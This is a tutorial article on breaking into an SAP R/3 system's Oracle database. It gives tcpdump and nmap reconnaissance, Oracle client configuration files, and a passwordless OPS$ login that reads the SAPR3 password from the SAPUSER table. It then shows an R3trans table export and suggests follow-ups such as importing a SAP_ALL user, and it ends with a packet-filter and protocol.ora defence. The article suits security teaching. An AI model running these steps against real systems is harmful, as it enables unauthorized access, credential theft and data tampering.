Hacking a SAP Database

Jochen Hein

1. How to hack an SAP system

> **Warning**
>
> Kids, don't do that at home. We are only using tools and technics that are long known...

1.1. Getting access with network means

We are starting with no knowledge about the system or the network (beside guessing that there is an R/3 system). Since most SAP customers are using an Oracle database chances for such a system are high. Our tool of choice is a Laptop with some network tools, an Oracle client, and the SAP kernel. We need network access, for example an unused port, a mini-hub, or we use a port connected to a printer. And now we start sniffing the network traffic.

SAP R/3 system communicate on possibly many ports. The application server listens on a port from 3200 to 3299, the message server on a port in the range 3600 to 3699. The last two numbers are called the system number. You can change the port numbers, but chances are very high, that the customer uses ports in these ranges. Have a look at the command line for **tcpdump** (Figure 1). There are other tools as well that you can use.

```
#!/bin/sh
tcpdump -n -i eth0 'tcp[13] & 3 != 0 and \
                   (( tcp[2:2] >= 3200 tcp[2:2] < 3300) or \
                    ( tcp[2:2] >= 3600 tcp[2:2] < 3700))'
```

Figure 1. Packet sniffer

tcpdump will show all connects to the application servers. The expression `tcp[13] & 3 != 0` matches these TCP packets. The option `-n` displays only IP addresses, no names. We note the output (Figure 2, the output has bee shortened.

```
192.168.1.1.4722 > 192.168.10.1.3200
```

Figure 2. sniffer output

We know one or more SAP application servers, and can now start looking at them in more detail. First defense against the sniffing attack is using a switch (most people do that by now). Nevertheless there are attacks against switches that degrade them to hubs. After that, the sniffing attack is again possible.

We now choose an unused IP address for our laptop (or use DHCP). Now we face the danger to get detected, since we are using an active network setup. It might be helpful to sniff DNS packets to get the IP address of the DNS server.

We use **SAPGUI** to connect to the SAP system. The last line in the window is the status line which tells us the System-ID. The System-ID is the same as the Oracle System-ID (if Oracle is used). If we have seen a connection to port 36*nr* we can use **lgtst** to get more information about the system.

```
SAPGUI
 /H/victim-IP/S/victim-Port
```

Figure 3. Using SAPGUI

1.2. Preparing the attack

We are now looking for the database server of the SAP system. A portscan on the SAP application server might reveal a message server and an Oracle port (Figure 4).

```
nmap -p 3200-3699 <ip-address> (1)
nmap -p 1527 <ip-address> (2)
```

Figure 4. Using a Portscanner

(1) These are the ports of the SAP-Dispatcher (32*xx*), possibly gateway processes (33*xx*) and message server (36*xx*).

(2) Looking for an Oracle Listener. Sometimes other ports are used as well...

A wild guess: We are facing a SAP system with database and central instance on one machine. We can verify that with **sapinfo** (Figure 5). **sapinfo** is part of the RFC-SDK on the GUI CD.

```
cracker#  sapinfo awhost=ip-address sysnr=nr
SAP System Information
---------------------------------------------------

Destination            hostname_SID_nr

Host                   hostname
System ID              SID
Database               SID
DB host                hostname
DB system              ORACLE

SAP release            40B
SAP kernel release     40B

RFC Protokoll          011
Characters             1100
Integers               BIG
Floating P.            IE3
SAP machine id           320

Timezone                 3600 (Daylight saving time)
```

Figure 5. Using sapinfo

If the SAP Host has only one NIC we are ready. Otherwise it might help to use **lgtst** or queries to the DNS server to guess the right IP address.

Starting from noting we gained the following knowledge:

- The IP addresse(s) of the victim
- The SAP systemnumber (last to numbers of the SAP port)
- The System-ID of the SAP system and the oracle database
- The name of the database server

This is all wee need to know about the database, so we now launch our attack.

1.3. Getting access to the Oracle database

We craft a SQL-NetV2 konfiguration which will give us access to the database. We need the file `sqlnet.ora` (default SAP file, see Figure 6) and a file called `tnsnames.ora` (Figure 7). The environment variable TNS_ADMIN contains the path to these files, but on our laptop we are free to use whatever we like anyway.

```
################
# Filename......: template sqlnet.ora
# Name..........:
# Date..........:
################
AUTOMATIC_IPC = ON
TRACE_LEVEL_CLIENT = OFF
SQLNET.EXPIRE_TIME = 0
NAMES.DEFAULT_DOMAIN = world
NAME.DEFAULT_ZONE = world
#SQLNET.AUTHENTICATION_SERVICES = (ALL)
```

Figure 6. The file `sqlnet.ora`

```
SID.world =
  (DESCRIPTION =
    (ADDRESS_LIST =
        (ADDRESS =
          (COMMUNITY = sap.world)
          (PROTOCOL = TCP)
          (Host = hostname)
          (Port = 1527)
        )
    )
    (CONNECT_DATA =
       (SID = SID)
       (GLOBAL_NAME = SID.world)
    )
  )
```

Figure 7. The file `tnsnames.ora`

If the default passwords have not been changed we can use the SQL command **connect sapr3/sap@*SID*** in **svrmgrl** to cennect to the database – thank you for playing. Otherwise we have to use the OPS$ access to get the SAPR3 password (Figure 8). So create a user *sid*adm and start playing...

```
    sidadm> setenv TNS_ADMIN $HOME/
    sidadm> setenv ORACLE_HOME /oracle/SID
    sidadm> setenv ORACLE_SID SID
    sidadm> svrmgrl

Oracle Server Manager Release 3.0.6.0.0 - Production

(c) Copyright 1999, Oracle Corporation.  All Rights Reserved.

Oracle8 Enterprise Edition Release 8.0.6.1.0 - Production
PL/SQL Release 8.0.6.1.0 - Production

SVRMGR> connect /@SID (1)
    Connected.
SVRMGR> select * from sapuser;
    USERID PASSWD
------ ------
SAPR3  geheim
1 row selected.
SVRMGR> connect SAPR3/geheim@SID (2)
    Connected.
SVRMGR>
```

Figure 8. Hacking Oracle

(1) We connect as the OPS$-User, no password needed.

(2) Table SAPUSER contains the password and we are set.

1.4. Ideas

Current SAP R/3 releases store the SAPR3 password encrypted in the table SAPUSER. We have two ways out:

- Attack the encryption.
- Use SAP tools to access the database, for example **R3trans**.

```
sidadm> export PATH="$PATH:/oracle/SID/817_32/bin:/usr/sap/SID/SYS/exe/run"
sidadm> export dbms_type=oraexport DIR_LIBRARY=/usr/sap/SID/SYS/exe/run
sidadm> export dbs_ora_tnsname=SID
sidadm> export TNS_ADMIN=/home/sidadm
sidadm> cat control
export
compress=no
client=000
# select table where name = T000
select * from t000
sidadm> R3trans control
...
sidadm> strings trans.dat
...
q  000SAP AG             Walldorf DEM [...]
q  001Auslieferungsmandant R11 Kundstadt        EUR [...]
...
```

Figure 9. R3trans for Oracle access

An attacker might do:

- clientremove ;-)
- export tables and analyze them offline
- import a user with SAP_ALL rights
- import other data

1.5. Wrapup

Hacking is fun. The only means against the attack is denying access to the database port, either with a packet filter or with a `protocol.ora` configuration (Figure 10).

```
tcp.nodelay = true
tcp.validnode_checking = yes
tcp.invited_nodes = ( ip address, ip address )
```

Figure 10. The file `protocol.ora`

The only drawback is that a new application server must be added here too, as well as other systems of the transport landscape might be (for test imports).

1.6. OSS-Notes

Note 186119, 361641, 50088.